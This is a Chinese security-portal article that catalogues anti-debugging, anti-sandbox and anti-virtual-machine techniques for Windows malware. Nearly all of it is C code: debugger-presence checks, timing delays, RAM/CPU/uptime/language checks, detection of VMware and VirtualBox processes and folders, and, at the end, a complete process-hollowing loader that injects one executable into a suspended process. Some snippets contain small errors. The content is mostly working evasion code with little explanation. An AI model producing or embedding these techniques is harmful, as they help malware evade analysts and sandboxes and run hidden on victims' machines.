freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

常见的反沙箱反虚拟机思路
2024-03-24 17:53:26

反调试

IsDebuggerPresent

#include<windows.h>
#include<stdio.h>
BOOL check()
{
	return IsDebuggerPresent();
}
BOOL isPrime(long long number){
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
	return 0;
}

CheckRemoteDebuggerPresent

BOOL CheckRemoteDebuggerPresent(
  [in]      HANDLE hProcess,
  [in, out] PBOOL  pbDebuggerPresent
);
#include<windows.h>
#include<stdio.h>
BOOL check()
{
    HANDLE hProcess = GetCurrentProcess();
    BOOL debuggerPresent;
    if (hProcess != NULL) {
        CheckRemoteDebuggerPresent(hProcess, &debuggerPresent);
        CloseHandle(hProcess);
        return debuggerPresent;        
    }
    else {
        CloseHandle(hProcess);
        return TRUE;
    }


}
BOOL isPrime(long long number){
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
	return 0;
}

NtQueryInformationProcess

#include<windows.h>
#include<stdio.h>
#include<iostream>
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
    _In_      HANDLE           ProcessHandle,
    _In_      UINT             ProcessInformationClass,
    _Out_     PVOID            ProcessInformation,
    _In_      ULONG            ProcessInformationLength,
    _Out_opt_ PULONG           ReturnLength);
BOOL check()
{
    pfnNtQueryInformationProcess NtQueryInformationProcess = NULL;
    NTSTATUS status;
    DWORD isDebuggerPresent = -1;
    HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
    if (hNtDll)
    {
        NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");
        if (NtQueryInformationProcess)
        {
            status = NtQueryInformationProcess(
                GetCurrentProcess(),
                0x7,
                &isDebuggerPresent,
                sizeof(DWORD),
                NULL
            );
            if (status == 0 && isDebuggerPresent != 0) {
                // 输出
                return TRUE;
            }
            return FALSE;
        }
    }
}
BOOL isPrime(long long number)
{
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
	return 0;
}

检测进程

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL check()
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        printf("错误:无法创建进程快照\n");
        return 1;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        printf("错误:无法获取第一个进程\n");
        CloseHandle(hProcessSnap);
        return 1;
    }
    do {
        if (wcscmp(pe32.szExeFile, L"ida.exe") == 0 || wcscmp(pe32.szExeFile, L"x64dbg.exe")==0) {
            CloseHandle(hProcessSnap);
            return TRUE;
        }
    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);
    return FALSE;
}
BOOL isPrime(long long number)
{
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
        BOOL d = isPrime(1000000000000000003);
    return 0;
}

反沙箱

时间对抗

WaitForSingleObject

HANDLE CreateEventA(
  [in, optional] LPSECURITY_ATTRIBUTES lpEventAttributes,
  [in]           BOOL                  bManualReset,
  [in]           BOOL                  bInitialState,
  [in, optional] LPCSTR                lpName
);
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL check()
{
    HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
    WaitForSingleObject(hEvent, 10000);
    CloseHandle(hEvent);
    return FALSE;
}
int main()
{
    if (check()){}
    return 0;
}

NtDelayExecution

#include <windows.h>
#include <iostream>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL check()
{
    // 加载 ntdll.dll
    HMODULE hModule = LoadLibrary(L"ntdll.dll");
    if (hModule == NULL) {
        return 1;
    }
    // 获取 NtDelayExecution 函数地址
    pfnNtDelayExecution fnNtDelayExecution = (pfnNtDelayExecution)GetProcAddress(hModule, "NtDelayExecution");
    if (fnNtDelayExecution == NULL) {
        FreeLibrary(hModule);
        return 1;
    }

    // 构造延迟时间
    LARGE_INTEGER delayTime;
    delayTime.QuadPart = -50000000;  //5秒

    // 调用 NtDelayExecution 函数
    NTSTATUS status = fnNtDelayExecution(FALSE, &delayTime);
    if (status != 0) {
        std::cout << "NtDelayExecution failed with status: " << status << std::endl;
        FreeLibrary(hModule);
    }
}
int main()
{
    if (check()){}
    return 0;
}

GetTickCount64

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    ULONGLONG t = GetTickCount64();
    if (t / 3600000 < 2)
        return TRUE;
    return FALSE;
}

环境检测

GlobalMemoryStatusEx

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
        MEMORYSTATUSEX memoryStatus;
        memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);
        GlobalMemoryStatusEx(&memoryStatus);
        DWORD RAMMB = memoryStatus.ullTotalPhys / 1024/1024/1024;  //内存RAMMB(G)
        if (RAMMB < 2)
            return TRUE;
        return FALSE;
}

dwNumberOfProcessors

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
        SYSTEM_INFO systemInfo;
        GetSystemInfo(&systemInfo);
        DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
        if (numberOfProcessors < 4)
            return TRUE;
        return FALSE;
}

检测文件名

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check(const char* name);
int main(int argc, char const* argv[])
{
    if (check(argv[0])) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check(const char *name)
{
    printf("%s", name);
    if (strcmp(name, "c:\\c_project\\aaa.exe") > 0) //绝对路径
    {
        return FALSE;
    }
    return TRUE;
}

检测语言

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check(const char* name);
int main(int argc, char const* argv[])
{
    if (check(argv[0])) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check(const char *name)
{
    LANGID lid = GetSystemDefaultLangID(); // 获取系统默认ID
    switch (lid)
    {
    case 0x0804://中文
        return FALSE;
        
    case 0x0409:
        return TRUE;
    }
    return TRUE;    
}

反虚拟机

PathIsDirectoryA

#include<shlwapi.h>
#include <windows.h>
#include<iostream>
#include<stdio.h>
#pragma comment(lib, "shlwapi.lib")

BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (PathIsDirectoryA((LPCSTR) "C:\\Program Files\\VMware"))
        return TRUE;
    return FALSE;
}

进程检测
image-20240219001840226.png

#include <windows.h>
#include <TlHelp32.h>
#include<stdio.h>

BOOL isPrime(long long number);
BOOL check();
BOOL getpid(LPCTSTR ProcessName);
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (getpid(L"vmtoolsd.exe")|| getpid(L"vboxservice.exe") || getpid(L"vboxtray.exe") || getpid(L"vm3dservice.exe"))
        return TRUE;
    return FALSE;
}
BOOL getpid(LPCTSTR ProcessName)
{
    HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProceessnap == INVALID_HANDLE_VALUE)
    {
        puts("创建进行快照失败\n");
        return 0;
    }
    else
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        BOOL hProcess = Process32First(hProceessnap, &pe32);
        while (hProcess)
        {
            if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
            {
                printf("pid:%d\n", pe32.th32ProcessID);
                //printf("ppid:%d", pe32.th32ParentProcessID);
                CloseHandle(hProceessnap);
                return TRUE;
            }
            hProcess = Process32Next(hProceessnap, &pe32);
        }
    }
    CloseHandle(hProceessnap);
    return FALSE;
}

黑DLL父进程检测

#include <windows.h>
#include <TlHelp32.h>
#include<stdio.h>
#include<psapi.h>
#include<string.h>
BOOL isPrime(long long number);
BOOL check();
BOOL getpid(DWORD pid);
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (getpid(GetCurrentProcessId()))
        return TRUE;
    return FALSE;
}
BOOL getpid(DWORD pid)
{
    HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProceessnap == INVALID_HANDLE_VALUE)
    {
        puts("创建进行快照失败\n");
        return 0;
    }
    else
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        BOOL hProcess = Process32First(hProceessnap, &pe32);
        while (hProcess)
        {
            if (pe32.th32ProcessID == pid)
            {
                char Buffer[1000] = { 0 };
                HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pe32.th32ParentProcessID);
                printf("%d\n", pe32.th32ParentProcessID);
                GetModuleFileNameExA(parentProcessHandle, 0, Buffer, MAX_PATH);
                printf("%s", Buffer);
                CloseHandle(hProceessnap);
                if(strstr(Buffer,"rundll32"))
                return TRUE;
                return FALSE;
            }
            hProcess = Process32Next(hProceessnap, &pe32);
        }
    }
    CloseHandle(hProceessnap);
    return FALSE;
}

傀儡进程

#include <iostream>
#include <Windows.h>
const char* g_TargetFile = R"(C:\Users\coleak\Desktop\ee.exe)";
const char* g_TargetFile2 = R"(C:\Users\coleak\Desktop\dd.exe)";
typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);

int main()
{
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(STARTUPINFOA);
	PROCESS_INFORMATION pi;
	//以挂起的模式启动一个进程
	BOOL bRet = CreateProcessA((LPCSTR)g_TargetFile2, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	//打开文件
	HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
	//获取文件大小
	DWORD dwFileSize = GetFileSize(hFile, NULL);
	//申请一块内存空间
	PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	//将内存读取到申请的内存空间
	DWORD dwReadLength = 0;
	ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
	//关闭文件
	CloseHandle(hFile);
	//解析PE文件
	//获取Dos头
	PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer;
	//获取Nt头
	PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer);
	//获取线程上下文
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(pi.hThread, &ctx);
	//获取模块基地址
	PVOID lpImageBase;
	ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL);
	if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase)
	{
		FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection");
		NtUnmapViewOfSection(pi.hProcess, lpImageBase);
	}

	//申请内存设置属性为rwx
	PVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);
	PIMAGE_SECTION_HEADER pSection;
	for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
	{
		pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));
		WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL);
	}

	ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
	//替换PE头
	WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);

	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	return 0;
}

后记

GetSystemDefaultLangID函数返回值ID参照表

zh-HK0x0C04中文(香港特别行政区,中国)
zh-MO0x1404中文(澳门特别行政区)
zh-CN0x0804中文(中国)
zh-Hans0x0004中文(简体)
zh-SG0x1004中文(新加坡)
zh-TW0x0404中文(台湾)
zh-Hant0x7C04中文(繁体)
# 虚拟机 # 沙箱
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录